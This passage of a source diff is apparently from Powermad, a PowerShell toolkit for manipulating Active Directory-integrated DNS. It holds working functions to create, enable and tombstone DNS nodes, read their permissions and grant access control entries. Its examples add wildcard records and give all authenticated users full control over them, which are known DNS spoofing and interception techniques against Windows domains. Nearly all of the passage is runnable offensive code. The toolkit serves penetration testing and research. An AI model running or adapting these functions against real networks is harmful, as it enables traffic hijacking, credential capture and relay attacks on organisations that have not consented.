[parameter(Mandatory=$false)][Switch]$Tombstone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if(!$DNSRecord) + { + + try + { + + if($Static) + { + $DNSRecord = New-DNSRecordArray -Data $Data -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Static + } + else + { + $DNSRecord = New-DNSRecordArray -Data $Data -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight + } + + Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.InvokeSet('dnsRecord',$DNSRecord) + $directory_entry.SetInfo() + Write-Output "[+] $Node enabled" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Get-ADIDNSNodeAttribute +{ + <# + .SYNOPSIS + This function can return values populated in an ADIDNS node attribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to retrn an ADIDNS node attribute such as a dnsRecord array. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the dnsRecord attribute value of a node named test. + Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $output = $directory_entry.InvokeGet($Attribute) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-ADIDNSNodeOwner +{ + <# + .SYNOPSIS + This function can returns the owner of an ADIDNS Node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can returns the owner of an ADIDNS Node. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the owner of a node named test. + Get-ADIDNSNodeOwner -Node test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $output = $directory_entry.PsBase.ObjectSecurity.Owner + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-ADIDNSNodeTombstoned +{ + <# + .SYNOPSIS + This function can determine if a node has been tombstoned. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function checks the values of dnsTombstoned and dnsRecord in order to determine if a node if currently + tombstoned. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the dnsRecord attribute value of a node named test. + Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $dnsTombstoned = $directory_entry.InvokeGet('dnsTombstoned') + $dnsRecord = $directory_entry.InvokeGet('dnsRecord') + } + catch + { + + if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*') + { + Write-Output "[-] $($_.Exception.Message)" + $directory_entry.Close() + throw + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + $node_tombstoned = $false + + if($dnsTombstoned -and $dnsRecord) + { + + if($dnsRecord[0].GetType().name -eq [Byte]) + { + + if($dnsRecord.Count -ge 32 -and $dnsRecord[2] -eq 0) + { + $node_tombstoned = $true + } + + } + + } + + return $node_tombstoned +} + +function Get-ADIDNSPermission +{ + <# + .SYNOPSIS + This function gets a DACL of an ADIDNS node or zone. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to confirm that a user or group has the required permission + to modify an ADIDNS zone or node. + + .PARAMETER Credential + PSCredential object that will be used to enumerate the DACL. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node or zone. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the DACL for the default ADIDNS zone. + Get-ADIDNSPermission + + .EXAMPLE + Get the DACL for an ADIDNS node named test. + Get-ADIDNSPermission -Node test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Node) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + else + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=DomainDNSZones" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry_security = $directory_entry.psbase.ObjectSecurity + $directory_entry_DACL = $directory_entry_security.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) + $output=@() + + ForEach($ACE in $directory_entry_DACL) + { + $principal = "" + $principal_distingushed_name = "" + + try + { + $principal = $ACE.IdentityReference.Translate([System.Security.Principal.NTAccount]) + } + catch + { + + if($ACE.IdentityReference.AccountDomainSid) + { + + if($Credential) + { + $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/<SID=$($ACE.IdentityReference.Value)>",$Credential.UserName,$credential.GetNetworkCredential().Password) + } + else + { + $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/<SID=$($ACE.IdentityReference.Value)>" + } + + if($directory_entry_principal.Properties.userPrincipalname) + { + $principal = $directory_entry_principal.Properties.userPrincipalname.Value + } + else + { + $principal = $directory_entry_principal.Properties.sAMAccountName.Value + $principal_distingushed_name = $directory_entry_principal.distinguishedName.Value + } + + if($directory_entry_principal.Path) + { + $directory_entry_principal.Close() + } + + } + + } + + $PS_object = New-Object PSObject + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "Principal" $principal + + if($principal_distingushed_name) + { + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "DistinguishedName" $principal_distingushed_name + } + + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IdentityReference" $ACE.IdentityReference + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ActiveDirectoryRights" $ACE.ActiveDirectoryRights + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceType" $ACE.InheritanceType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectType" $ACE.ObjectType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritedObjectType" $ACE.InheritedObjectType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectFlags" $ACE.ObjectFlags + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "AccessControlType" $ACE.AccessControlType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IsInherited" $ACE.IsInherited + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceFlags" $ACE.InheritanceFlags + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "PropagationFlags" $ACE.PropagationFlags + $output += $PS_object + } + + } + catch + { + + if($_.Exception.Message -notlike "*Some or all identity references could not be translated.*") + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Grant-ADIDNSPermission +{ + <# + .SYNOPSIS + This function adds an ACE to an ADIDNS node or zone DACL. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + Users that create a new DNS node through LDAP or secure dynamic updates will have full + control access. This function can be used to provide additional accounts or groups access to the node. + Although this function will work on DNS zones, non-administrators will rarely have the ability + to modify an ADIDNS zone. + + .PARAMETER Access + Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete, + DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren, + ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty. + + .PARAMETER Credential + PSCredential object that will be used to modify the DACL. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node or zone. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Principal + The user or group that will be used for the ACE. + + .PARAMETER Type + Default = Allow: The ACE allow or deny access type. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Add full access to a wildcard record for "Authenticated Users". + Grant-ADIDNSPermission -Node * -Principal "authenticated users" + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild", + "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren", + "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll", + [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow", + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Principal, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Node) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + else + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=DomainDNSZones" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $NT_account = New-Object System.Security.Principal.NTAccount($Principal) + $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier]) + $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID + $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access + $access_control_type = [System.Security.AccessControl.AccessControlType]$Type + $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All" + $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + try + { + $directory_entry.psbase.ObjectSecurity.AddAccessRule($ACE) + $directory_entry.psbase.CommitChanges() + + if($Node) + { + Write-Output "[+] ACE added for $Principal to $Node DACL" + } + else + { + Write-Output "[+] ACE added for $Principal to $Zone DACL" + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function New-ADIDNSNode +{ + <# + .SYNOPSIS + This function adds a DNS node to an Active Directory-Integrated DNS (ADIDNS) Zone through an encrypted LDAP + add request. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function creates an ADIDNS record by connecting to LDAP and adding an object of type dnsNode. + + .PARAMETER Credential + PSCredential object that will be used to add the ADIDNS node. + + .PARAMETER Data + For most record types this will be the destination hostname or IP address. For TXT records this can be used + for data. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. + + .PARAMETER DNSRecord + DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Port + SRV record port. + + .PARAMETER Preference + MX record preference. + + .PARAMETER Priority + SRV record priority. + + .PARAMETER Tombstone + Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that + allows it to be modified or fully tombstoned by any authenticated user. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Static + Switch: Zeros out the timestamp to create a static record instead of a dynamic. + + .PARAMETER TTL + Default = 600: DNS record TTL. + + .PARAMETER Type + Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT. + + .PARAMETER Weight + SRV record weight. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Add a wildcard record to an ADIDNS zone and tombstones the node. + New-ADIDNSNode -Node * -Tombstone + + .EXAMPLE + Add a wildcard record to an ADIDNS zone from a non-domain attached system. + $credential = Get-Credential + New-ADIDNSNode -Node * -DomainController dc1.test.local -Domain test.local -Zone test.local -Credential $credential + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Byte[]]$DNSRecord, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(Mandatory=$false)][Switch]$Tombstone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if(!$DNSRecord) + { + + try + { + + if($Static) + { + $DNSRecord = New-DNSRecordArray -Data $Data -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Static + } + else + { + $DNSRecord = New-DNSRecordArray -Data $Data -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight + } + + Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) + + if($Credential) + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) + } + else + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) + } + + $object_category = "CN=Dns-Node,CN=Schema,CN=Configuration" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $object_category += ",DC=$DC" + } + + try + { + $connection.SessionOptions.Sealing = $true + $connection.SessionOptions.Signing = $true + $connection.Bind() + $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest + $request.DistinguishedName = $distinguished_name + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass",@("top","dnsNode"))) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectCategory",$object_category)) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null + + if($Tombstone) + { + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null + } + + $connection.SendRequest($request) > $null + Write-Output "[+] ADIDNS node $Node added" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + +} + +function New-SOASerialNumberArray +{ + <# + .SYNOPSIS + This function gets the current SOA serial number for a DNS zone and increments it by the + set amount. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to create a byte array which contains the correct SOA serial number for the + next record that will be created with New-DNSRecordArray. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Zone + The DNS zone. + + .PARAMETER Increment + Default = 1: The number that will be added to the SOA serial number pulled from a DNS server. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .EXAMPLE + Generate a byte array from the currect SOA serial number incremented by one. + New-SOASerialNumberArray + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int]$Increment = 1, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + 